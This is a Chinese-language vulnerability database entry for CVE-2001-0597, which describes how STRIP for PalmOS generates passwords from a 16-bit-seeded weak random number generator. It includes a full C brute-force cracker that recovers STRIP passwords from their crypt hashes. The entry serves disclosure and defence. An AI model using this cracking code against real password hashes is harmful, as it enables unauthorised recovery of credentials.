CVE-2001-0597
CVSS7.2
发布时间 :2001-08-02 00:00:00
修订时间 :2008-09-05 16:24:29
NMCOES    

[原文]Zetetic Secure Tool for Recalling Important Passwords (STRIP) 0.5 and earlier for the PalmOS allows a local attacker to recover passwords via a brute force attack. This attack is made feasible by STRIP's use of SysRandom, which is seeded by TimeGetTicks, and an implementation flaw which vastly reduces the password 'search space'.


[CNNVD]Strip密码生成器有限密码空间漏洞(CNNVD-200108-019)

        Recalling Important Passwords (STRIP) 0.5及其早期版本的Zetetic Secure Tool存在漏洞。本地攻击者借助蛮力攻击恢复密码。这次攻击是由SysRandom中STRIP的使用而执行的。该漏洞是由TimeGetTicks引发的,且是一个可大幅度降低缺陷密码'搜索空间'的执行漏洞。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:zetetic_enterprises:strip:0.5
cpe:/a:zetetic_enterprises:strip:0.3
cpe:/a:zetetic_enterprises:strip:0.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0597
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0597
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200108-019
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6362.php
(VENDOR_ADVISORY)  XF  strip-weak-passwords(6362)
http://www.securityfocus.com/bid/2567
(VENDOR_ADVISORY)  BID  2567
http://archives.neohapsis.com/archives/bugtraq/2001-04/0169.html
(VENDOR_ADVISORY)  BUGTRAQ  20010410 Catastrophic failure of Strip password generation.

- 漏洞信息

Strip密码生成器有限密码空间漏洞
高危 未知
2001-08-02 00:00:00 2005-10-20 00:00:00
本地  
        Recalling Important Passwords (STRIP) 0.5及其早期版本的Zetetic Secure Tool存在漏洞。本地攻击者借助蛮力攻击恢复密码。这次攻击是由SysRandom中STRIP的使用而执行的。该漏洞是由TimeGetTicks引发的,且是一个可大幅度降低缺陷密码'搜索空间'的执行漏洞。
        

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (20746)

Strip Password Generator 0.3/0.4/0.5 Limited Password-Space Vulnerability (EDBID:20746)
Palm OS local
2001-04-10 Verified
0 Thomas Roessler
N/A [点击下载]
source: http://www.securityfocus.com/bid/2567/info

Strip is a password generation utility made freely available by Zetetic Enterprises. Strip is a PalmOS based application designed to generate and store important passwords.

A problem with Strip makes it possible for a user that has attained an encrypted password generated with Strip to easily guess the password. The pseudo-random number generation is done through the SysRandom() syscall of PalmOS, which offers simplistic number generation. Additionally, the PNRG is seeded with number that may be small depending on the operation time of the Palm device. Finally, the maximum size of the seed is 16 bits.

Therefore, it is possible for a user to easily guess passwords generated with Strip, which have a maximum of 2^16 possibilities. 

/*
 * Crack passwords generate by strip ("Secure Tool for Recalling
 * Important Passwords") for the Palm; see
 * <http://www.zetetic.net/products.html> for details.
 * 
 * Copyright (c) 2001 by Thomas Roessler
 * <roessler@does-not-exist.org>.
 * 
 * Use, distribute and modify freely.
 * 
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <crypt.h>

/* The PalmOS SysRandom() RNG. */

static unsigned int multiplier = 22695477;
static unsigned int _seed = 0;

short palm_rand (unsigned int new_seed)
{
  if (new_seed)
    _seed = new_seed;
  
  _seed = (_seed * multiplier) + 1;
  return (short)  ((_seed >> 16)  & 0x7fff);
}

/* 
 * Strip's password generation algorithm for the alphanumeric case - 
 * you can easily change this to cover the other cases as well.
 */

static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char *numerics = "0123456789";

char *possible_password (unsigned int seed, int size)
{
  static char pwbuff[1024];
  char z[1024];
  int i, r;
  int valids;

  if (size > sizeof (pwbuff))
    exit (1);
  
  sprintf (z, "%s%s",numerics, alphas);
  valids = strlen (z);
  
  r = palm_rand (seed);

  for (i = 0; i < size; i++)
  {
    r = palm_rand (0);
    pwbuff[i] = z[r % valids];
  }
  pwbuff[i] = '\0';
  
  return pwbuff;
}

/* check all possible passwords */

int main (int argc, char *argv[])
{
  int i;
  char *pw;
  
  for (i = 0; i <= 0xffff; i++)
  {
    pw = possible_password ((short) i, 8);
    if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
      printf ("%s\n", pw);
  }
  
  return 0;
}
		

- 漏洞信息

7677
Zetetic Secure Tool for Recalling Important Passwords SysRandom Weakness
Remote / Network Access Cryptographic
Loss of Integrity Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2001-04-09 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Strip Password Generator Limited Password-Space Vulnerability
Unknown 2567
No Yes
2001-04-10 12:00:00 2009-07-11 06:06:00
This vulnerability was announced to Bugtraq by Thomas Roessler <roessler@does-not-exist.org> on April 10, 2001.

- 受影响的程序版本

Zetetic Enterprises Strip 0.5
Zetetic Enterprises Strip 0.4
Zetetic Enterprises Strip 0.3

- 漏洞讨论

Strip is a password generation utility made freely available by Zetetic Enterprises. Strip is a PalmOS based application designed to generate and store important passwords.

A problem with Strip makes it possible for a user that has attained an encrypted password generated with Strip to easily guess the password. The pseudo-random number generation is done through the SysRandom() syscall of PalmOS, which offers simplistic number generation. Additionally, the PNRG is seeded with number that may be small depending on the operation time of the Palm device. Finally, the maximum size of the seed is 16 bits.

Therefore, it is possible for a user to easily guess passwords generated with Strip, which have a maximum of 2^16 possibilities.

- 漏洞利用

Exploit available:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

     

     

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